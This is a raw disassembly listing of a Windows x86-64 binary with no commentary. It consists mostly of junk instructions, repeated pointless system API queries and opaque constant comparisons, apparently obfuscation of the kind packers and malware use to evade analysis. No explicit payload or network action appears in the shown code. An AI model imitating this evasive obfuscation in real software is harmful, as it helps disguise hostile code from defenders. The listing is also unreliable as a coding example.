call qword [sym.imp.USER32.dll_InvalidateRgn]
mov dword [rsp + 0x1f68], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
xor eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe4], al
mov dword [rsp + 0x28], 0x69
mov dword [rsp + 0x20], 0x67
lea r9, [rsp + 0x50f8]
lea r8, [rsp + 0x1f5c]
mov edx, 0x9d
mov ecx, 0xc
call qword [sym.imp.USER32.dll_ToUnicode]
mov dword [rsp + 0x1fd4], eax
jmp 0x140003eac
movzx eax, word [rsp + 0x828]
shl eax, 0xb
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
jmp 0x1400dd180
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sar eax, cl
mov byte [0x1400f8004], al
cmp dword [rsp + 0x1fc0], 0x324c
jb 0x140004035
mov dword [rsp + 0x16930], 0x94
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [0x1400f8004]
and eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5100], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fd8], eax
mov eax, dword [rsp + 0x1f5c]
mov ecx, dword [rsp + 0x1f80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x50b8], rax
movabs rax, 0x3f7d96c8e903be0
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
mov eax, dword [rsp + 0x1fc0]
sub eax, 0xd4
mov dword [rsp + 0x1fc0], eax
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1fd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fb0], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x828]
add eax, 0x4ca
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
and eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x1fd4], eax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [0x1400f8004]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
jmp 0x140003ee5
cmp dword [rsp + 0x1f44], 0xb44f
je 0x1400044e2
mov eax, dword [rsp + 0x1f80]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov dword [rsp + 0x1f5c], eax
mov rax, qword [rsp + 0x50c0]
sar rax, 0x16
mov qword [rsp + 0x5088], rax
mov eax, dword [rsp + 0x1fd4]
mov ecx, dword [rsp + 0x1fb0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x50b8], rax
movsx eax, byte [0x1400f8004]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79], al
movzx eax, word [rsp + 0x828]
and eax, 0xc48
mov word [rsp + 0x828], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fc8], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
movabs rax, 0x104ad0da44eb25e6
mov rcx, qword [rsp + 0x5088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50c0], rax
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1f70], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [0x1400f8004]
add eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x50b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
movabs rax, 0x3bc4f23b660b0118
mov rcx, qword [rsp + 0x50c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f58], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fdc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5108], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f90], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
xor eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f44]
add eax, 0x83
mov dword [rsp + 0x1f44], eax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1400f8004], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [0x1400f8004]
or eax, ecx
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x1fd4]
mov ecx, dword [rsp + 0x1fa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fb0], eax
lea rcx, [rsp + 0x12968]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f5c], eax
movabs rax, 0x4c0f11a5ce759e0e
mov rcx, qword [rsp + 0x5088]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x50b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5000], rax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5108], rax
mov eax, dword [rsp + 0x1fb0]
mov ecx, dword [rsp + 0x1fa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fd4], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x1fe0], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
movabs rax, 0x77aa911080dfe933
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1f4c], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f80], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fd8], eax
lea rcx, [rsp + 0x5048]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x5010]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fb0]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
shl eax, cl
mov dword [rsp + 0x1fd4], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [0x1400f8004]
sar eax, cl
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f58], eax
movzx eax, word [rsp + 0x828]
or eax, 0x659
mov word [rsp + 0x828], ax
movzx eax, word [rsp + 0x828]
and eax, 0x7ae
mov word [rsp + 0x828], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fe4], eax
jmp 0x140004035
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1f5c]
mov edx, dword [rsp + 0x1f80]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140004612
mov eax, dword [rsp + 0x1fb0]
mov dword [rsp + 0x1fe8], eax
cmp dword [rsp + 0x1fe8], 0x4e88b2fe
je 0x1400045f6
cmp dword [rsp + 0x1fe8], 0x5a4e8c4e
je 0x140004541
jmp 0x140004612
lea rcx, str.Wives_Lama
call qword [sym.imp.USER32.dll_CharLowerA]
mov qword [rsp + 0x5110], rax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x1fec], eax
cmp dword [rsp + 0x1fec], 0xc2411c2d
je 0x140004595
jmp 0x1400045ee
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
mov r8d, 0x53
mov edx, 0xf0
mov rcx, qword [rsp + 0x50a8]
call qword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [rsp + 0x1fb4], eax
movsx eax, byte [0x1400f8004]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79], al
jmp 0x1400045f4
call fcn.1400dd710
nop
jmp 0x140004612
mov eax, dword [rsp + 0x1f5c]
mov ecx, dword [rsp + 0x1f80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x50c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
lea rax, [rsp + 0x5010]
mov qword [rsp + 0x5118], rax
mov dword [rsp + 0x1ff0], 0x6f77
mov dword [rsp + 0x1ff4], 0x7d8
cmp dword [rsp + 0x1ff0], 0xaa15
je 0x1400049a5
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5050], rax
movzx eax, word [rsp + 0x828]
or eax, 0xb38
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1ff8], eax
mov eax, dword [rsp + 0x1ff0]
add eax, 0xf6
mov dword [rsp + 0x1ff0], eax
movzx eax, word [rsp + 0x828]
sar eax, 2
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
and eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1fd8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5038], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5040], rax
mov eax, dword [rsp + 0x1fd4]
mov ecx, dword [rsp + 0x1fb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
lea rcx, [rsp + 0x5070]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x5010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5118]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x50c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1ffc], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x50d8], rax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [0x1400f8f90]
add eax, 0x2ae4
mov word [0x1400f8f90], ax
movsx eax, byte [0x1400f8004]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x50e0], rax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov eax, dword [rsp + 0x1fd4]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
shl eax, cl
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x5118]
mov qword [rsp + 0x5120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5120]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5060], rax
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x50c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f5c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1f80], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x5060]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50b8], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x2000], eax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
jmp 0x140004656
lea rax, [0x1400f8004]
mov qword [rsp + 0x5128], rax
mov rax, qword [rsp + 0x50c0]
mov qword [rsp + 0x5130], rax
movabs rax, 0x555c72979e8b1c19
cmp qword [rsp + 0x5130], rax
je 0x1400049dd
jmp 0x140004ab6
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov qword [rsp + 0x50a0], rax
mov eax, dword [rsp + 0x1f80]
mov dword [rsp + 0x2004], eax
cmp dword [rsp + 0x2004], 0x8bd9aa97
je 0x140004a0b
jmp 0x140004a9a
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50b8], rax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [0x1400f8004]
and eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rcx, qword [rsp + 0x50a8]
call qword [sym.imp.USER32.dll_GetTopWindow]
mov qword [rsp + 0x50a0], rax
jmp 0x140004ab4
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1f80], eax
jmp 0x140004b02
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
mov byte [rsp + 0xe5], al
movzx eax, word [rsp + 0x828]
mov word [rsp + 0x82c], ax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [0x1400f8005], al
movzx eax, word [0x1400f8f90]
mov word [rsp + 0x830], ax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov eax, dword [section..data]
mov rcx, qword [rsp + 0x5080]
mov qword [rsp + 0x5138], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5138]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1f5c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5050], rax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x5088]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5118]
mov qword [rcx], rax
lea rcx, [rsp + 0x12a58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0xe4]
shl eax, cl
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
movsx eax, word [0x1400f8f90]
and eax, 0x45d4
mov word [rsp + 0x830], ax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov byte [0x1400f8005], al
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe6], al
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1ffc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5040], rax
lea rcx, [rsp + 0x16930]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x1f8c], eax
lea rcx, [rsp + 0x12a88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [0x1400f8f90]
add eax, 0x4764
mov word [rsp + 0x830], ax
mov eax, dword [rsp + 0x1f7c]
sub eax, 0xfe
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f54], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f5c], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5008], rax
mov eax, dword [rsp + 0x1f5c]
mov ecx, dword [rsp + 0x1f80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0x79]
sar eax, cl
mov byte [0x1400f8004], al
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
or eax, ecx
mov byte [rsp + 0xe6], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fc8], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x828]
sub eax, 0x64f
mov word [rsp + 0x82c], ax
mov rax, qword [rsp + 0x50b8]
mov rcx, qword [rsp + 0x5010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov dword [rsp + 0x1c510], 0x9c
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movsx eax, word [0x1400f8f90]
add eax, 0x41b8
mov word [rsp + 0x830], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov byte [0x1400f8004], al
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5140], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1ff8], eax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0x79]
and eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
mov rax, qword [rsp + 0x50c0]
movzx ecx, al
mov rax, qword [rsp + 0x5088]
shl rax, cl
mov qword [rsp + 0x4ce8], rax
lea rcx, [rsp + 0x129f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [section..data]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1f5c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5148], rax
cmp dword [rsp + 0x1f7c], 0xad33
ja 0x140004b14
lea rcx, [rsp + 0x12a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1fb0]
mov qword [rsp + 0x5150], rax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x2008], eax
cmp dword [rsp + 0x2008], 0x12f6ab4
je 0x140004fba
cmp dword [rsp + 0x2008], 0x641a56c0
je 0x140004fc2
jmp 0x140004fe6
call fcn.1400dd710
nop
jmp 0x140004fe6
mov rax, qword [rsp + 0x5118]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5088]
movzx ecx, al
mov rax, qword [rsp + 0x50c0]
sar rax, cl
cmp rax, qword [rsp + 0x4ce8]
jge 0x1400dd0cf
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5118]
mov rdx, qword [rsp + 0x5010]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jb 0x140005185
movzx eax, word [rsp + 0x828]
mov word [rsp + 0x834], ax
movzx eax, word [rsp + 0x838]
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f5c]
sub ecx, eax
mov eax, ecx
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x1f80]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140005141
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1fb0], eax
lea rax, [rsp + 0x1f5c]
mov qword [rsp + 0x5158], rax
mov rax, qword [rsp + 0x4ce8]
cqo
idiv qword [rsp + 0x50c0]
cmp rax, qword [rsp + 0x5088]
jle 0x1400050eb
mov rdx, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x5088]
call fcn.1400dddf0
nop
jmp 0x14000513f
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x200c], 0x36ed
lea rcx, [rsp + 0x5160]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x5060]
mov qword [rsp + 0x5168], rax
lea rax, [rsp + 0x5088]
mov qword [rsp + 0x5170], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1ff8], eax
jmp 0x140005185
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x1f5c]
mov edx, dword [section..data]
add edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140005185
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe4], al
lea rax, [0x1400f8004]
mov qword [rsp + 0x5178], rax
mov eax, dword [rsp + 0x1f5c]
movzx ecx, al
mov eax, dword [rsp + 0x1f80]
shr eax, cl
mov rcx, qword [rsp + 0x5080]
mov edx, dword [section..data]
imul edx, dword [rcx]
mov ecx, edx
cmp eax, ecx
jb 0x140005246
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov byte [rsp + 0x2010], al
cmp byte [rsp + 0x2010], 1
je 0x140005206
cmp byte [rsp + 0x2010], 0xae
je 0x1400051ea
jmp 0x140005241
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x82c]
sub eax, ecx
mov word [rsp + 0x828], ax
jmp 0x140005241
